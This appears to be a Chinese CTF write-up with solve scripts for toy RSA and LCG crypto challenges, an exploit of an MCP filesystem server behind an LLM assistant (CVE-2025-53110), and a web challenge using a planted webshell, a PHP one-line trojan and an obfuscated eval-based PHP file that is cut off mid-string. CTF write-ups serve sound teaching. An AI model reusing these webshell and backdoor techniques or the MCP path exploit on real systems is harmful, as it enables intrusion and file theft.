MISC
[阶段1] Evan
so作为一位资深的CTF女师傅,却是个乙游的狂热爱好者,这是她珍藏已久的照片,找出flag
随波逐流,foremost提取文件,然后zip伪加密修复拿到flag:

[阶段2] ezAI
输入
help获取帮助 在 https://bigmodel.cn/usercenter/proj-mgmt/apikeys 新建API Key并在靶机中填入 靶机安装了 https://www.npmjs.com/package/@modelcontextprotocol/server-filesystem/v/0.6.1 flag文件放置在/root下,flag的文件名需自行读取
cve-2025-53110,漏洞利用细节: CVE-2025-53110 安全漏洞及漏洞利用详情
读取到chat.php:
<?php@ini_set('zlib.output_compression', 0);@ini_set('implicit_flush', 1);@ob_end_clean(); // 清除现有缓冲区set_time_limit(0);
// 设置头信息,禁止浏览器缓存header('Content-Type: application/x-ndjson');header('Cache-Control: no-cache');header('Connection: keep-alive');header('X-Accel-Buffering: no'); // 针对某些代理服务器
$MCP_HOST = '127.0.0.1';$MCP_PORT = 1337;$GLM_API_URL = 'https://open.bigmodel.cn/api/paas/v4/chat/completions';
// MCP 工具定义$MCP_TOOLS = [ [ "type" => "function", "function" => [ "name" => "read_file", "description" => "Read complete contents of a file", "parameters" => [ "type" => "object", "properties" => [ "path" => ["type" => "string"] ], "required" => ["path"] ] ] ], [ "type" => "function", "function" => [ "name" => "read_multiple_files", "description" => "Read multiple files simultaneously; failed reads do not stop the operation", "parameters" => [ "type" => "object", "properties" => [ "paths" => [ "type" => "array", "items" => ["type" => "string"] ] ], "required" => ["paths"] ] ] ], [ "type" => "function", "function" => [ "name" => "write_file", "description" => "Create new file or overwrite existing (exercise caution with this)", "parameters" => [ "type" => "object", "properties" => [ "path" => ["type" => "string"], "content" => ["type" => "string"] ], "required" => ["path", "content"] ] ] ], [ "type" => "function", "function" => [ "name" => "create_directory", "description" => "Create new directory or ensure it exists", "parameters" => [ "type" => "object", "properties" => [ "path" => ["type" => "string"] ], "required" => ["path"] ] ] ], [ "type" => "function", "function" => [ "name" => "list_directory", "description" => "List directory contents with [FILE] or [DIR] prefixes", "parameters" => [ "type" => "object", "properties" => [ "path" => ["type" => "string"] ], "required" => ["path"] ] ] ], [ "type" => "function", "function" => [ "name" => "move_file", "description" => "Rename a file or directory to a new path. IMPORTANT: The 'destination' argument MUST be the full final path including the filename. Do NOT provide just a directory path.", "parameters" => [ "type" => "object", "properties" => [ "source" => ["type" => "string", "description" => "Current full path of the file"], "destination" => ["type" => "string", "description" => "New full path including filename (e.g., /dir/file.txt)"] ], "required" => ["source", "destination"] ] ] ], [ "type" => "function", "function" => [ "name" => "search_files", "description" => "Recursively search for files/directories", "parameters" => [ "type" => "object", "properties" => [ "path" => ["type" => "string"], "pattern" => ["type" => "string"] ], "required" => ["path", "pattern"] ] ] ], [ "type" => "function", "function" => [ "name" => "get_file_info", "description" => "Get detailed file/directory metadata", "parameters" => [ "type" => "object", "properties" => [ "path" => ["type" => "string"] ], "required" => ["path"] ] ] ], [ "type" => "function", "function" => [ "name" => "list_allowed_directories", "description" => "List all directories the server is allowed to access", "parameters" => [ "type" => "object", "properties" => [], "required" => [] ] ] ]];
$SYSTEM_PROMPT = "You are a Linux terminal assistant. " . "You have access to the local filesystem via MCP tools. " . "Output format: Concise, technical, no Markdown.";
// 发送数据并强制刷新function send_chunk($data) { echo json_encode($data) . "\n"; flush(); // 立即推送到浏览器}
// 调用 MCPfunction call_mcp_tool($func, $args) { global $MCP_HOST, $MCP_PORT; $sock = fsockopen($MCP_HOST, $MCP_PORT, $errno, $errstr, 5); if (!$sock) return "Socket Error: $errstr";
// 如果 $args 为空数组,强制转换为对象,以便 json_encode 输出 {} $finalArgs = empty($args) ? new stdClass() : $args;
$payload = [ "jsonrpc" => "2.0", "id" => rand(), "method" => "tools/call", "params" => ["name" => $func, "arguments" => $finalArgs] ]; fwrite($sock, json_encode($payload) . "\n");
$resp = ""; while(!feof($sock)) { $chunk = fgets($sock, 8192); $resp .= $chunk; if (strpos($chunk, "\n") !== false) break; } fclose($sock);
$json = json_decode($resp, true); if (isset($json['error'])) return "Error: " . $json['error']['message'];
$resText = ""; if (isset($json['result']['content'])) { foreach($json['result']['content'] as $c) { if ($c['type'] == 'text') $resText .= $c['text']; } } return $resText ?: "OK";}
// 处理 GLM 流式请求function stream_glm($messages, $api_key, $recursion_depth = 0) { global $GLM_API_URL, $MCP_TOOLS;
if ($recursion_depth > 3) return;
$data = [ "model" => "glm-4-flash", "messages" => $messages, "tools" => $MCP_TOOLS, "tool_choice" => "auto", "temperature" => 0.1, "stream" => true ];
$ch = curl_init($GLM_API_URL); curl_setopt($ch, CURLOPT_HTTPHEADER, ["Authorization: Bearer $api_key", "Content-Type: application/json"]); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data));
// 状态保持 $tool_call_accumulator = ["id" => "", "name" => "", "args" => ""]; $is_tool_calling = false; $assistant_reply = "";
curl_setopt($ch, CURLOPT_WRITEFUNCTION, function($ch, $chunk) use (&$tool_call_accumulator, &$is_tool_calling, &$assistant_reply) { $lines = explode("\n", $chunk); foreach ($lines as $line) { $line = trim($line); if (strpos($line, 'data: ') === 0) { $content_str = substr($line, 6); if ($content_str === '[DONE]') continue;
$json = json_decode($content_str, true); $delta = $json['choices'][0]['delta'] ?? [];
// 1. 处理文本流 if (isset($delta['content'])) { $content = $delta['content']; $assistant_reply .= $content; send_chunk(["type" => "token", "content" => $content]); }
// 2. 处理工具调用 if (isset($delta['tool_calls'])) { $is_tool_calling = true; $tc = $delta['tool_calls'][0]; if (isset($tc['id'])) $tool_call_accumulator['id'] = $tc['id']; if (isset($tc['function']['name'])) $tool_call_accumulator['name'] .= $tc['function']['name']; if (isset($tc['function']['arguments'])) $tool_call_accumulator['args'] .= $tc['function']['arguments']; } } } return strlen($chunk); });
curl_exec($ch); curl_close($ch);
// 如果检测到工具调用完成 if ($is_tool_calling && !empty($tool_call_accumulator['name'])) { $func = $tool_call_accumulator['name']; $argsStr = $tool_call_accumulator['args']; $callId = $tool_call_accumulator['id'] ?: "call_".rand();
// 告诉前端正在执行 send_chunk(["type" => "tool_log", "content" => "[EXEC] $func $argsStr"]);
// 执行本地 MCP $args = json_decode($argsStr, true); $result = call_mcp_tool($func, $args);
// 告诉前端结果 send_chunk(["type" => "tool_log", "content" => "[RET] " . substr($result, 0, 100) . "..."]);
// 构造新的消息历史 $messages[] = [ "role" => "assistant", "content" => null, "tool_calls" => [[ "id" => $callId, "type" => "function", "function" => ["name" => $func, "arguments" => $argsStr] ]] ]; $messages[] = [ "role" => "tool", "tool_call_id" => $callId, "content" => $result ];
// 递归调用,发送工具结果给 GLM 并获取最终回复 stream_glm($messages, $api_key, $recursion_depth + 1); }}
// 入口逻辑$input = json_decode(file_get_contents('php://input'), true);$messages = $input['messages'] ?? [];$apiKey = $input['apiKey'] ?? '';
if (empty($messages) || empty($apiKey)) { send_chunk(["type" => "error", "content" => "Invalid Request"]); exit;}
if ($messages[0]['role'] !== 'system') { array_unshift($messages, ["role" => "system", "content" => $SYSTEM_PROMPT]);}
// 启动流stream_glm($messages, $apiKey);?>
目前发现存在
Crypto
[阶段1] StreamEz_RSA
e怎么这么大啊
Gemini直接解:
from Crypto.Util.number import getPrime,bytes_to_longfrom gmpy2 import invertfrom secret import flag
m = bytes_to_long(flag)
p = getPrime(512)q = getPrime(512)n = p*qphi = (p-1) * (q-1)e = getPrime(1019)d = invert(e, phi)
c = pow(m,e,n)"""n = 107464134871680646151655304067173578951022679613817744422854142736895193478923970402314237869266898585661396817719803005109183572552933963881756199330890085692291647461683934019264121186823772581796061998307778635680038707808422026396560620912393186072263186503236380890048319797143644270579169484448179083299e = 3924586561728843234261049280560557566669922961436496251423249382498887294225142535297862819865029081145630384268177735578769958711287734205364353929040337350836000661255957087233897675207507752217828489549059197109918195953230752720210793300168746820366115929509596904295875481061789801178045962611893883689c = 4557192604704814579224198928010541193712311907197292139423304635523945088581321950910727673367241811197226152299201713883344661436550024661781925551129803469824570154317098612833694631836257698682075695287756551674264966935203485636255394639674521955953445322493019052791894426980946209383266707043869522774"""exp:
import gmpy2from Crypto.Util.number import long_to_bytes
n = 107464134871680646151655304067173578951022679613817744422854142736895193478923970402314237869266898585661396817719803005109183572552933963881756199330890085692291647461683934019264121186823772581796061998307778635680038707808422026396560620912393186072263186503236380890048319797143644270579169484448179083299e = 3924586561728843234261049280560557566669922961436496251423249382498887294225142535297862819865029081145630384268177735578769958711287734205364353929040337350836000661255957087233897675207507752217828489549059197109918195953230752720210793300168746820366115929509596904295875481061789801178045962611893883689c = 4557192604704814579224198928010541193712311907197292139423304635523945088581321950910727673367241811197226152299201713883344661436550024661781925551129803469824570154317098612833694631836257698682075695287756551674264966935203485636255394639674521955953445322493019052791894426980946209383266707043869522774
def continued_fraction(n, d): res = [] while d: res.append(n // d) n, d = d, n % d return res
def convergents(cf): nm, dn = [], [] for i in range(len(cf)): if i == 0: nm.append(cf[i]); dn.append(1) elif i == 1: nm.append(cf[i] * cf[i-1] + 1); dn.append(cf[i]) else: nm.append(cf[i] * nm[i-1] + nm[i-2]) dn.append(cf[i] * dn[i-1] + dn[i-2]) yield nm[i], dn[i]
def solve_pq(a, b, c): """求解二次方程 ax^2 + bx + c = 0""" delta = b*b - 4*a*c if delta > 0: sq = gmpy2.isqrt(delta) if sq*sq == delta: return (-b + sq) // (2*a), (-b - sq) // (2*a) return None
def wiener_attack(e, n): cf = continued_fraction(e, n) for k, d in convergents(cf): if k == 0: continue # 根据 ed - 1 = k * phi(n) 推导 phi phi = (e * d - 1) // k # 利用 n = pq 和 phi = (p-1)(q-1) 构造方程: # x^2 - (n - phi + 1)x + n = 0 b = n - phi + 1 roots = solve_pq(1, -b, n) if roots: p, q = roots if p * q == n: return d return None
print("[*] 正在尝试 Wiener's Attack...")d = wiener_attack(e, n)
if d: print(f"[+] 找到私钥 d: {d}") m = pow(c, d, n) flag = long_to_bytes(m) print(f"[!] 解密结果: {flag.decode(errors='ignore')}")else: print("[-] 攻击失败,d 可能不够小,或者 e/n 的分布不符合 Wiener 条件。")脚本中验证 的逻辑基于以下代数关系:
- 已知:
- 代换:由于 ,可以得出 。
- 构造方程:根据韦达定理, 和 是方程 的两个根。
- 判别式验证:我们只需要计算 。如果 是一个完全平方数,说明我们找到了正确的 (也就找到了正确的 )。

[阶段1] Stream
LCCCGGGGG
from secrets import randbitsfrom secret import FLAG, P_known
def gen(): while True: m = randbits(63) | (1 << 62) | 1 if m > 2**62: break a = randbits(62) | 3 c = randbits(62) | 1 s0 = randbits(62) | 5 return m, a, c, s0
def LCG(m, a, c, s0, nblocks): x = s0 out = [] for _ in range(nblocks): x = (a * x + c) % m out.append(x) return out
def encrypt(m, a, c, s0, plaintext: bytes) -> bytes: padlen = (-len(plaintext)) % 8 pt = plaintext + b'\x00' * padlen blocks = [int.from_bytes(pt[i:i+8], 'big') for i in range(0, len(pt), 8)] ks = LCG(m, a, c, s0, len(blocks)) cblocks = [b ^ k for b, k in zip(blocks, ks)] return b''.join(cb.to_bytes(8, 'big') for cb in cblocks)
def main(): m, a, c, s0 = gen() cipher = encrypt(m, a, c, s0, P_known + FLAG)
C_known = cipher[:len(P_known)] C_flag = cipher[len(P_known):len(P_known) + len(FLAG)]
print("P_known =",P_known) print("C_known =", C_known.hex()) print("C_flag =", C_flag.hex())
if __name__ == "__main__": main()
'''
P_know = b'Insecure_linear_congruential_random_number!!!!!!'C_known = 44e18dfa1acd14aa790fc3bac4ca54c137bcd47bdfc2209a53b83715ecad3e29249845720588cac007bfb94f8476d91aC_flag = 1995374a5b64c6696578c1d5bdc6fa3d1e974b813436eab4348db801fb7a6703658eaa4fefa2c6fd6792beb969df8ca70ad87a4f4aea6ca0040d65a3c1e3a5bf2655cafc1e5603a171edc9aa077c0ca264677c351907f35756c14dd7ece428cb424a3804b544ccb53e99935f9bc2d8483dd7587379c99b3542c222008a
'''-
已知
P_known ⊕ C_known⇒ 连续 LCG 输出用经典 LCG 参数恢复:
- 差分法 +
gcd恢复m - 解线性同余恢复
a, c
复现 keystream,异或解出
FLAG - 差分法 +
-
用已知明文
P_known与对应的密文C_known按 8 字节块异或,得到若干连续的 LCG 输出(即 keystream 的块值)。 -
利用连续输出构造数列差分,计算若干值
t = d1^2 - d2*d0,对这些t取 gcd 可恢复出模数m(这里 gcd 恰好等于m)。 -
用模
m与已知输出解出乘子a、加数c、以及初始种子s0,并验证能重现已知 keystream。 -
用恢复出的 keystream 对
C_flag对应的字节段逐字节异或,得到 FLAG 明文。
from math import gcdfrom functools import reduce
# ================== 已知数据 ==================P_known = b'Insecure_linear_congruential_random_number!!!!!!'
C_known_hex = ( "44e18dfa1acd14aa790fc3bac4ca54c137bcd47bdfc2209a53b83715ecad3e29" "249845720588cac007bfb94f8476d91a")
C_flag_hex = ( "1995374a5b64c6696578c1d5bdc6fa3d1e974b813436eab4348db801fb7a6703" "658eaa4fefa2c6fd6792beb969df8ca70ad87a4f4aea6ca0040d65a3c1e3a5b" "f2655cafc1e5603a171edc9aa077c0ca264677c351907f35756c14dd7ece428" "cb424a3804b544ccb53e99935f9bc2d8483dd7587379c99b3542c222008a")
C_known = bytes.fromhex(C_known_hex)C_flag = bytes.fromhex(C_flag_hex)
# ================== 1. 恢复 keystream ==================def blocks(b): return [int.from_bytes(b[i:i+8], 'big') for i in range(0, len(b), 8)]
P_blocks = blocks(P_known)C_blocks = blocks(C_known)
ks = [p ^ c for p, c in zip(P_blocks, C_blocks)]
# ================== 2. 恢复模数 m ==================d = [ks[i+1] - ks[i] for i in range(len(ks)-1)]
vals = []for i in range(len(d)-2): t = d[i+2] * d[i] - d[i+1] * d[i+1] if t != 0: vals.append(abs(t))
m = reduce(gcd, vals)print("[+] m =", m)
# ================== 3. 恢复 a, c ==================def inv(x, m): return pow(x, -1, m)
a = ((ks[2] - ks[1]) * inv((ks[1] - ks[0]) % m, m)) % mc = (ks[1] - a * ks[0]) % m
print("[+] a =", a)print("[+] c =", c)
# ================== 4. 生成完整 keystream ==================def LCG(m, a, c, s0, n): x = s0 out = [] for _ in range(n): x = (a * x + c) % m out.append(x) return out
s0 = ks[0]flag_blocks = blocks(C_flag)ks_flag = LCG(m, a, c, s0, len(flag_blocks) + len(ks))[len(ks):]
# ================== 5. 解密 FLAG ==================flag = b''.join( (c ^ k).to_bytes(8, 'big') for c, k in zip(flag_blocks, ks_flag)).rstrip(b'\x00')
print("\n[+] FLAG =", flag.decode())[阶段1] TE
贝祖???
from Crypto.Util.number import *import randomfrom secret import flag
p, q = getPrime(512), getPrime(512)n = p * q
e1 = random.getrandbits(32)e2 = random.getrandbits(32)
print(f'{e1 = }')print(f'{e2 = }')
m = bytes_to_long(flag)c1 = pow(m, e1, n)c2 = pow(m, e2, n)
print(f'{n = }')print(f'{c1 = }')print(f'{c2 = }')
'''e1 = 740153575e2 = 2865243571n = 136622832042809215646904518487100682818433235485047740604612449039291802103378650845690420527029208661555957840623544220907967041438993189882681277161437473818861280518627112617436473837014181944318974950710633690704711613682306786783611123590732850783007770603201513394002330426718261667816328404673167404897c1 = 56187319559060690757544481076112948328826527679002578544683022765347668056620384831778729489197135280950314627119815558644487151419126272267146826463912815062442590228193753706779325992179790583792001196548329204758137104234662611732735693150331594645734142941475121453410494160975503459516324097097434727685c2 = 45042409947237296641429229414329516753664139389113206575966507524195434716702812078844474626406932213486611190698953613898299571473488550533642524208077653917354039305279692307471529748408234617430389423630015569730564585740596832844917494965974840512412454337766930330443409183293514761911902752336129193323'''#!/usr/bin/env python3# -*- coding: utf-8 -*-
from math import gcdfrom Crypto.Util.number import long_to_bytes
# ===================== 已知参数 =====================e1 = 740153575e2 = 2865243571
n = 136622832042809215646904518487100682818433235485047740604612449039291802103378650845690420527029208661555957840623544220907967041438993189882681277161437473818861280518627112617436473837014181944318974950710633690704711613682306786783611123590732850783007770603201513394002330426718261667816328404673167404897
c1 = 56187319559060690757544481076112948328826527679002578544683022765347668056620384831778729489197135280950314627119815558644487151419126272267146826463912815062442590228193753706779325992179790583792001196548329204758137104234662611732735693150331594645734142941475121453410494160975503459516324097097434727685
c2 = 45042409947237296641429229414329516753664139389113206575966507524195434716702812078844474626406932213486611190698953613898299571473488550533642524208077653917354039305279692307471529748408234617430389423630015569730564585740596832844917494965974840512412454337766930330443409183293514761911902752336129193323
# ===================== 扩展欧几里得 =====================def egcd(a, b): if b == 0: return 1, 0, a x, y, g = egcd(b, a % b) return y, x - (a // b) * y, g
# ===================== 主逻辑 =====================def main(): print("[*] gcd(e1, e2) =", gcd(e1, e2))
s, t, g = egcd(e1, e2) assert g == 1, "e1 和 e2 不互素,不能直接用该攻击"
print(f"[*] s = {s}") print(f"[*] t = {t}") print(f"[*] check: {s}*e1 + {t}*e2 =", s*e1 + t*e2)
# 处理负指数 if s < 0: part1 = pow(pow(c1, -1, n), -s, n) else: part1 = pow(c1, s, n)
if t < 0: part2 = pow(pow(c2, -1, n), -t, n) else: part2 = pow(c2, t, n)
m = (part1 * part2) % n
flag = long_to_bytes(m) print("\n[+] FLAG =", flag.decode())
if __name__ == "__main__": main()[阶段1] not_eight_length
并不是所有的题目都是8位哦
from Crypto.Util.number import *from sympy import *from secret import encrypted_flag
m = bytes_to_long(encrypted_flag)p = getPrime(512)temp = nextprime(p)q = nextprime(temp)n = p * qe = 65537c = pow(m, e, n)
print(f'n = {n}')print(f'e = {e}')print(f'c = {c}')
# n = 172113078605688993167549425692325605693719693815361211139292482064751327114103720980024048929660587708361336638391782482562146750015275689746844657810313957504514376746631004470588767450715447808496931019899675426647981223953742448155335425954936981689508246039354976739386690722681509534696120714425567962527# e = 65537# c = 47611886444337000128826989676221463775339201602510220886566675518701473035795983698414894648685567473325732994652173596155832091773084566434572294009136327143103984205257862772844337876748271318723897875683699389776414143689503392203746843332334862282735760778003407162335426111769147991087343730761557771446from Crypto.Util.number import long_to_bytes, inverseimport math
# 题目给出的数据n = 172113078605688993167549425692325605693719693815361211139292482064751327114103720980024048929660587708361336638391782482562146750015275689746844657810313957504514376746631004470588767450715447808496931019899675426647981223953742448155335425954936981689508246039354976739386690722681509534696120714425567962527e = 65537c = 47611886444337000128826989676221463775339201602510220886566675518701473035795983698414894648685567473325732994652173596155832091773084566434572294009136327143103984205257862772844337876748271318723897875683699389776414143689503392203746843332334862282735760778003407162335426111769147991087343730761557771446
# 1. 寻找 p 和 q# 因为 p 和 q 靠得很近,p < sqrt(n) < qp_guess = math.isqrt(n)if p_guess % 2 == 0: p_guess -= 1
p = 0q = 0# 向下搜索 pfor i in range(1000): # 紧邻素数通常在很小的步长内 target = p_guess - i * 2 if n % target == 0: p = target q = n // target break
if p != 0: print(f"[+] Found p: {p}") print(f"[+] Found q: {q}")
# 2. 计算私钥 d phi = (p - 1) * (q - 1) d = inverse(e, phi)
# 3. 解密得到 m m = pow(c, d, n)
# 将 m 转为字节 # 注意:这里的 m 可能是上一题的参数或标志 decrypted_msg = long_to_bytes(m) print(f"\n[!] RSA Decrypted (m): {decrypted_msg.hex()}") print(f"[!] As String (if printable): {decrypted_msg}")else: print("[-] Failed to find factors. Check the search range.")from Crypto.Util.number import long_to_bytes
m_hex = "14e443a91bdb97399a6164cdc2d738b2355ad1cb8c2b7138cb856b5c79193467859b6c2c5cfd"m_int = int(m_hex, 16)
def trial_bit_size(n, bit_size): """尝试以 bit_size 为单位解析大整数""" res = "" temp_n = n mask = (1 << bit_size) - 1 chars = [] while temp_n > 0: chars.append(temp_n & mask) temp_n >>= bit_size
# 逆序回来看看结果 try: return "".join(chr(x) for x in chars[::-1]) except: return None
# 尝试常见的位宽:7位 (标准ASCII), 6位 (Base64映射)print(f"7-bit trial: {trial_bit_size(m_int, 7)}")print(f"8-bit trial: {long_to_bytes(m_int)}")[阶段1] 古典也颇有韵味啊
你是维吉尼亚还是维多利亚?倒是有点共同点(结果请将flag头改成SHCTF{}提交)
密文:bcin!guy zeui wh! wwps ce yryz ysex:wpurt{wc@xdii_u2frmt_cwkg_ktani0}encode_key:ABBAAABBABBAABABAABBABAAAAABBAAABAAABBAAAABAABAAAAAABAA[阶段1] AES的诞生
你真的了解AES吗???
web
[阶段1] 05_em_v_CFK
继某两所大学校内餐厅被黑后,终于考上大学的小明也想“逝世”,但是他遇到了一些困难于是请求你的帮助。他给你留了一个webshell,并给你的一条线索,去帮他完成吧。
请联系CTF生活,写一篇文章,谈谈你的认识与思考。
要求:(1)自拟题目;(2)不少于 800字
题目中说给了线索,在源代码处:

使用的是ROT13变体表进行base64编码的,写个解码脚本:
import base64
ciphertext = "5bvE5YvX5Ylt5YdT5Yvdp2uyoTjhpTujYPQyhXoxhVcmnT935L+P5cJjM2I05oPC5cvB55dR5Mlw6LTK54zc5MPa"
# ROT13 Base64 -> Standard Base64 对照表rot13_table = "NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm0123456789+/"standard_table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
# 翻译回标准 Base64trans_table = str.maketrans(rot13_table, standard_table)standard_b64 = ciphertext.translate(trans_table)
# 解码decoded = base64.b64decode(standard_b64)print(decoded.decode('utf-8'))# 我上传了个shell.php, 带上show参数get小明的圣遗物吧目录扫描发现存在uploads目录

尝试拼接shell.php?show:

发现是需要post传入的参数key0的值md5加密后要等与pass,然后就可以命令执行,对$pass解密:


写入一句话木马:


先看index.php的逻辑:
<?phpinclude 'connect.php';
$my_money = 3.00;$msg = "";$target_id = 0;
if (isset($_POST['buy']) && isset($_POST['item_id'])) { $target_id = (int)$_POST['item_id'];
if ($target_id > 0) { try { $stmt = $pdo->prepare("CALL buy_item(?, ?)"); $stmt->execute([$target_id, $my_money]); $res = $stmt->fetch(); $msg = $res['final_message']; $my_money -= $res['current_price']; } catch (Exception $e) { $msg = "Transaction Error: " . $e->getMessage(); } } else { $msg = "Invalid item selected."; }} else { try { $stmt = $pdo->query("SELECT id, name, price FROM goods ORDER BY id ASC"); if ($stmt === false) { exit; } $goods_list = $stmt->fetchAll(); } catch (Exception $e) { die("Error fetching goods list."); }}?>发现就是在数据库中直接进行操作,查看connect.php:
<?php$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};eval($O00O0O("JE8wTzAwMD0iYk1xa2FtY2RnQ3RVdWpRREZUeFpMeVB2QXJSaGlTbkd6ZkhzSktZbGV3VlhFcE9Cb05JV0JRT1VDdGRBSXZLaVdOTGdhVlJ4VGxldXJFY1BTWmZ5R3F6a1luWGhvSmJITXNtandEcEZlZzlKQ3pyblRsOEk1Qmw2NUVvMzVFb3k1NHRwNXNsazc3bFE1VFNENUJXNjZuNlc1eGx3NTVscTVDNm81NVpxNVRPZjU0NnU1Q25nNVQyLzU1Wnd2U1B0QUY1TkF5aHVCU3J3blpqN3ZTcklwdnJ1VGxnaFNPTnRJcHpzSXBmVVduRWhQNzN0aEJndXVZc1NYSERoRE5jcXh5Yk5CMmNodlNySXB2clVIMTlxeFNyOXB2QVNYSERoWWxyV3B2ZDJEYThmcHY0SVkyY2hYMjlVeFpkN3ZJd0lwdnJJVGw4STV4dk01Nm9ENlhGRDU3Mlc1WHlDcHlZUGQyaTJEdmdmdVlCZndwenN0c2d3aDQ4bnB2cklwdmNxSDBYSWVacmZYM2oxWWxyV3B2QXFZbHJXcHZBdHhIY05DdmQ3dlNySXB2clVYdGFHeFZYMEgyY2hYMjlVeFpyOXB2QVBZbHJXcHpEMVhmRDBkU0lVSDE5eVR2clJUdnJSblpyV3B2QU5ZbHJXcHpEMVhmRDBkU0lVSDE5eVR2cmxuVmtucHZySXB2Y3FIMElJZVpyZlhVZDVDaGhIb3k5U1EwNEpZR2tJcHZySXB2cklwdnJJcHZySXB2cklwdjh1cHlSdVgyYWtDeTlHQXJ3SXB2cklZYTlxY3ZyOXB2TFVIMTlxeFNJZkgxOU1ZbFU3cHY4dXB2QU5RdFAyWDBNOWVaZDdwdnJJcHZySXB2cklwdnJJcHZySXB2cklwdnJJVGw4SWQyUHVkcndJcHZySVlhOXFiWnI5cHZMVUgxOXF4U0lVSDE5TW5Wa0lwdnJJcHZySXB2cklwdnJJcHZySXB2OHVweUQweGg5MWQyYmxwdkF4UTFZS0ZnREZvaHNYWlYwZnZTcklwdnJVSDE5THBnMElZdmNxSDE5dG52Y3FIMExJVFNyVUgxOWJuVmtJVGw4ZkZWRFpCYklHTHRQTlEwNEdYTkRuQzFQNmNIaERBRzA5WUdrSXB2cklwdjh1cHlEMHhoOUpYSERHQTI5bHhhOFJRTlFucHZySXB2Y3FIMFFJZVpyZnhhUFpCaTl6UUZobUxWMDlZR2tJcHZySXB2cklwdnJJcHZySXB2cklwdjh1cHpiMHhOUEtYTkxudlNySXB2cnVUbGd3czZlZndwemhQN0VmZlkvaEVzN2hJVEpucHZySXB2Y3FIMTlxSDJQdWQzTElwdnJJZVpyVUgxOXF4U0lVSDE5cG5Wa25wdnJJcHZjcUgxOXFIMmNTcHZySXB2ckllWnJVSDE5cXhTSVVIMTlNblZrbnB2cklwdmNxSDE5cUgzYkd4SHBJcHZySWVaclVIMTlxeFNJVUgxOWJuVmtucHZySXB2Y3FIMTlxSDNqUGQzUUlwdnJJZVpyVUgxOXF4U0lVSDE5TG5Wa25wdnJJcHZjcUgxOXFIMkR3WEhZR3hITEllWnJVSDE5cXhTSVVIMTlnblZrbnZTcklwdnJ1VGxndGZ3VnNJbnJJcHQxNWQzYWttdFB1ZDNMOVRTNFdtMmNTQnRhS3hWMFdUUzQ3WDJQUGRmRGhBZzBXVFM0U3ZTcklwdnJVSDE5cWRnTUllWmpOQ3pwd1FWcjVuWnJXcHlEd2RTSVJRTk1zcHY0SVgyUGxuZ01SRFpVSVRTak5DenB3UVZNR25acldweUR3ZFNJUlFnSXNtbHJ1VGxyU0JIaEdkRkpTdlNySXB2clVIMTlxZGdwSWVaclVIMTlxZGdNSVRTak5DenB3RFZJc3B2NElZMlB1ZDNMZnB2NElYMlBsbmdYUm5Wa0lwdnJJcHZySXB2cklwdnJJcHZySXB2cnVUbHJTQkhoR2RGSjZDeTlHQWcwU3ZTcklwdnJVSDE5cWRnUUllWnJmbWxkSVRTcmZ4eVlXWEYxaFlscldweUR3ZFNJMlFaVTdwdnJJcHZySXB2cklwdnJJcHZySXB2cklwdnJJcHZySXB2cklwdnJ1VGxyU20yY1NCdGFLeFYwU3ZTcklwdnJVSDE5cWRnTEllWnJmbWxkSVRTcmZYMlBQZGZEaEF2ZElUU2pOQ3pwd0ROTXNtbHJJcHZySXB2cklwdnJJcHZySXB2cklwdnJJcHZySXB2cklwdnJ1VGxyU20yRHdYSFlHeEhMOXBJd25wdnJJcHZjcUgxOXF4ekRXcGcwSVlhOXFIM3JscHY0SVlhOXFIMTlxQ3k5R0F2cldwdmNxSDE5SlFscldwdmNxSDE5cUgyY1NwdjRJWWE5cUgzcjBwdjRJWWE5cUgxOXFYMlBQZGZEaEFna252U3JJcHZydVRsZ2hTT050SXB6dGZ3VnNJbmdma0J1aFVwMElwaGpNVmxwbnB2cklwdmNxSDE5TkJ6UUllWmpOQ3pwd21ncnNwdjRJWDJQbG5nWDRuWnJXcHlEd2RTSTNtWlU3dkl3SXB2cklUbDhJaU1jZXBtdHJTb3RQV29GTE5tQ0lLK0MzSytaNEltb3ZXTHdJcHZySVlhOXFIMTl1ZHpjR3BnMElGMTA3dlNySXB2clVIMTlxSDI5SkF6REJYMjlXZDNjUEJmTHdZMWpNVkd3NkxiY2lpaDlhaWhZRFYwY2FZbGhBcHZySXB2cklwdnJJcHZySWVaak5CMjVHQXlhV0F2SWZpTWNlbU5zYWloWURWMGNhSDBiWEwwYkxiTWhlVlNkc21Kd0lwdnJJWWE5cUgxOXVkemNHRjJEdUJmRDBYRjUwbnZBTGNNODZtVWFpYmFZcWNNYnlMYmJRYmE5eWNiY2daYTlEVjBjYVlsaEFwZzBJWDI5V2QzY1BCZkx3WTFqTVZHdzZjVWJpTDBQcUxiRFZWMFFmblZrbnB2cklwdmNxSDE5cUIzajBkMUtOQjI1R0F5YVdBdklmaU1jZW1Oc2piYWNaSDBiRGJpUmpiTWJxaWFZYWlNYVpjYlFmbmIwSXB2cjlweXhQQnpEaG1Kd25wdnJJcHpjbG9aajd2U3JJcHZySXB2cklUbDhJQnRiM3Bhak1WbElXVFM0c3BtWjlQV3RydFdTL1ArRmV0bXR6TitvUlcrRkxOb0ZwdCtGN1dJd0lwdnJJcHZySXB2Y3pWTTl2TGlSVkZsQUp4eThmSFpyOXB5NWhBbHJVSDE5cVgyUkdudmNxSDE5cXh6RFdUdnJVSDE5cUgxOTFkMmJsVHZyVUgxOXFIMTlKWEhER1R2clVIMTlxSDI5SkF6UXNtSndJcHZySXFaak5YSGNOQ3Zyd0hNYjRYMmJKQXlodUJTclVIMTlxSDJpc3B6a25wdnJJcHZySXB2cnVUbGdoVXBHdHdUcXRLN3FVV3BnZklFZnNoWWZ3RTYvVXU2enRJQzhucHZySXB2cklwdnJVSDE5cUJIRGZwZzBJWDJQbG5nWDRuWnJXcHl